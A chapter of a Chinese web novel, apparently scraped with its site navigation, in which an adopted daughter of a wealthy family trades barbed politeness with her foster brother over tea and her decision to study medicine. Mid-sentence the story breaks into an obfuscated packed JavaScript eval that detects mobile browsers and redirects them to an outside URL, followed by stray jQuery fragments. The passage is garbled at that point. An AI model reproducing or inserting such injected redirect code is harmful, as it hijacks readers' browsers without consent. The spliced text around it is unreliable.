默认冷灰
24号文字
方正启体

2. 两朵蔷薇

作者:江羡鱼本书字数:K更新时间:
    下午五点整,柳知禾回到了位于苏市麓园的柳家老宅,带着满书包的不再使用的高三学习资料。


    “知禾小姐回来咯,欸呦喂,瘦了瘦了,我瞧瞧,这好好的小姑娘考完试都瘦成一把皮包骨了。”


    管家阿姨笑呵呵地上前,接过她手里沉甸甸的背包。


    阿姨姓赵,是知禾被带进柳家的第三年来的,几乎是看着她从豆苗大点的小娃长到如今亭亭玉立的少女模样。


    也是和雇主家亲近,才会说这样的话。


    知禾绕过玄关,换上藤编拖鞋穿过长廊。


    她喝了口水,润了润干燥的嗓子,语气中带着恰到好处的无奈和娇蛮。


    “赵阿姨,太夸张了吧,哪有那么瘦。”


    柳知禾的瘦,不是形销骨立的瘦弱,倒是秾纤合度,体态匀称的瘦,细薄嫣红的唇,弱质纤纤中带着惹人怜爱的气质。


    一身美人骨。


    明媚的眼眸,像是大厅穹顶明亮的水晶灯,漂亮璀璨。


    真诚却......好像不含多少温度。


    知禾目光扫过赵阿姨还在紧拽着她背包的手。


    忽然说道:“子悠......好像小我一级,今年上高三?”


    赵子悠,是赵阿姨的孙子。


    “嗯......对......子悠马上也要高三了......在普高......成绩......唉!没知禾小姐成绩这么好,让人操心得很......”赵阿姨捏着书包袋的动作紧了紧,眼神飘忽。


    她大概也知道,自己接下来提出的要求失了分寸。


    不过,知禾小姐向来脾气好,应该会......会答应她的。


    没等她开口,向来温柔又好说话的大小姐像是知道她的心事一样,很是善解人意。


    “哦,这样啊,我的参考书和学习笔记都在包里,对我这个毕业生也没什么用处,可以送给子悠,就是不知道对他有没有用了......”


    赵阿姨听到这个眼睛都亮了,“有用!当然有用!状元的笔记哪能没用啊!既然大小姐用不上,那我这就拿回去......”


    见知禾这边没什么要吩咐的事,她忙攥着包,急匆匆地跑回休息间,好像怀揣着什么秘宝生怕被人抢走了。


    人心,比自己想象中的要好收买。


    ——不过是给出了自己不再需要的东西,就好像成为了对方的上帝。


    知禾见状,目光暗沉平淡了下来,不自觉地摸了摸右手小指。


    这时,身后传来一声冷嗤。


    身后的人是柳家长子,她名义上的兄长,柳雅臣。


    他比她大不少,早早接任了柳氏集团执行总裁的位子,婚后就搬出了老宅,若非有要事不会回老宅。


    两人没什么血缘关系,养兄妹关系一直很冷淡。


    知禾到现在还记得,第一次来到柳家的那天。


    雨下得很大。


    她穿着洗得发白的黑T恤,背着破洞的包,踏着一双带泥水的塑料凉鞋。踩在光洁的大理石地面,每走一步都会和地板发出不合时宜的摩擦声。


    尴尬,落魄且局促。


    柳雅臣就站在不远处,高高的扶梯台阶之上。他穿着干净的米白色的短袖长裤,金色边框的眼镜,头发蓬松又有光泽,可那双漂亮的眼里全是摄人的冷光。


    “真脏。”


    他只说了两个字。


    不带情绪淡淡的两个字,便叫知禾无地自容。


    柳雅臣以为,她是柳父领回来代替他亲妹妹柳知夏的......私生女,那时他的妹妹因为不满家族联姻逃婚,此后便失了踪再也没回来过。


    私生女,如此不光彩的身份,贵公子当然耻与为伍。


    针锋相对是少不了的,可就算在这个家过得再如履薄冰,也比孤儿院吃了上顿没下顿的要好。柳雅臣做的多过分,知禾都是笑意柔和,仿佛感受不到恶意一样。


    后来知道误会一场,他拉不下面子道歉,两人的关系也就一直不咸不淡。


    柳雅臣平时不住老宅,这次出现,大约是生意场上受了挫,回来和老爷子商量的。知禾从他身上闻到了淡淡的酒味,更是确定了心中的猜想。


    酒庄里昂贵的红酒,香味醇厚绵长。


    而应酬时的酒,混合着烟灰缸底和劣质酒精的味道,很好区分。


    “雅臣哥,”她转身,像是没听到他那声阴阳怪气的冷嗤,温温柔柔地问了一句,“要喝杯解酒茶么?”


    她状似关心,可看着他的眼里并没有多少温度,亭亭立在那处,没有任何要为他泡茶的动作。


    柳雅臣了然。


    他脱下西装外套,坐在餐桌边。


    本不打算喝茶的,见她如此敷衍,倒是偏要劳驾她给自己泡茶了。


    “来一杯吧。”


    他顿了顿,抬眼看向知禾,意味深长,“妹妹茶艺一绝,不喝可惜。”


    话里的挖苦意味扑面而来。


    知禾并不放在心上,转身走向茶室,从木制茶柜中取出茶道工具,托着小盘来到餐桌前,她没什么表情,垂眸处理着手中的茶饼。


    产自云南的乌龙茶,茶汤色泽红润,解酒最适。


    黄昏的太阳一点一点沉下去,客厅落地窗玻璃前的光影渐褪,知禾坐在餐桌前,身子始终挺直,烹茶的动作行云流水,姿态优雅。


    就连一向看不上她的柳雅臣,也不免为之惊艳。


    被柳家教养多年,烹茶品茗,古琴书画,钢琴小提琴,芭蕾中国舞,柳知禾几乎无所不能,无论是言谈举止还是为人处世,是完全标准的贵族千金。


    就算是知夏在.......


    也比不上她......


    知夏......


    想到自己的亲妹妹,柳雅臣的目光渐渐柔和。


    知夏若在,大约会因为练琴太累,气走自己的小提琴老师之后,躲在他后头拽着衣角撒娇,让他来顶着母亲的骂吧。


    而知禾,从不会撒娇,更不会向他撒娇。


    想到这里,因酒精而起的怀旧思绪截断了,不知何时摆在他面前的茶盏,茶盖被贴心地掀至一侧,袅袅白烟蒸腾而上。


    空气静默了许久,柳雅臣端起茶盏抿了一口,看向柳知禾的目光有些玩味:“话说,你对谁都这么以礼相待的吗?”


    他指的是,柳枝禾把笔记送给管家的行为,还特意把以礼相待四个字,说的一字一顿。


    “当然,”知禾笑了笑,四两拨千斤地微微举杯,饮茶:“我对雅臣哥,不也是以礼相待吗?”


    把他和管家放一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481557|201772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起比较么?


    柳雅臣脸色顿时有些难看。


    他忍不住刻薄地说:“外头领来的就是领来的,就算是教的再好,也学不会阶级之上的松弛和从容。”


    知禾歪头,装作懵懂不解:“是说不该以礼相待么?难道要像雅臣哥一样,充满不可一世的优越感吗?那......我可做不来。”


    “......咳咳。”


    一句话,柳雅臣被气到了,猛呛了一口水。


    装无辜!


    惯会用小恩小惠,收买人心!


    也就会这点上不得台面的把戏!


    柳雅臣气绝,可偏偏不能拿面前眯眼笑着的养妹怎么样。一是年龄差在这边摆着,二是他嘴上说不过个小姑娘家实在没脸。


    于是,咳了咳,说起别的来了。


    “听说你要去学医?多花点钱就能得到最好的治疗,何必自己去读这么辛苦的专业。”


    知禾的高考志愿,填了盛京大学的临床医学。真正的有钱人家小孩,默认不会去卷医学生赛道,读书吃苦受累八年,进了医院吃苦受累一辈子。


    就算是要继承家里医院的,也只会去国外读个医学相关专业镀层金,通过特殊政策进家里医院的管理岗。


    没人会去真的当医生。


    更何况,明柳集团虽是医药企业,可旗下并没有医院。


    换句话说,柳家不需要医生。


    知禾的选择,让柳雅臣不解,“当然,如果你跟我说,是因为理想之类的屁话,你知道的,我不会信。”


    柳雅臣不觉得,在柳家这种利己主义的精英教育下,会诞生什么绝对理想主义者。


    尤其是柳知禾。


    她从小就知道,如何权衡利弊,左右逢源,得到自己想要的东西。


    成为医生,知禾自然有自己的原因。


    只是,这种心里话,她不可能说与柳雅臣听,他们又不是什么亲密无间的兄妹。


    塑料兄妹,能不能有点边界感?


    “不该学医,那学什么?”知禾支着下巴,不正面回答,反而在柳雅臣的雷点上蹦迪,“和知夏姐姐一样,学艺术,然后成为一个优雅的联姻工具吗?”


    柳雅臣认为,这世上再没有比他的养妹柳知禾,更会装模做样的人了。


    她明明从踏入柳家的那一刻起,就接受了这样的命运。


    这是她交换人生应该付出的代价。


    如今说这种话,不过是为了让他发怒,让他忽略她学医的真正目的罢了。


    若是几年前,柳雅臣倒是会被她激怒。


    因为,知夏是他的逆鳞。


    可商场沉浮数年,这点把戏在他面前早就不够看了。


    “你既然不想告诉我原因,我不问就是了。”柳雅臣将杯中茶水饮尽,抚摸茶杯的动作甚至有些温柔,“如果学医是你为自己做出的选择,我会尊重你的决定。”


    知禾没想过柳雅臣会这么说。


    她以为,他会充满说教意味地训斥她,让她做一个乖顺的联姻工具,做一个被规训好的......另一个“柳知夏”。


    当然,知禾也是这样一直要求自己的。


    她对柳家有所求,她想要摆脱孤儿院,过上好日子,只是付出未来婚姻的代价而已,这点微不足道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)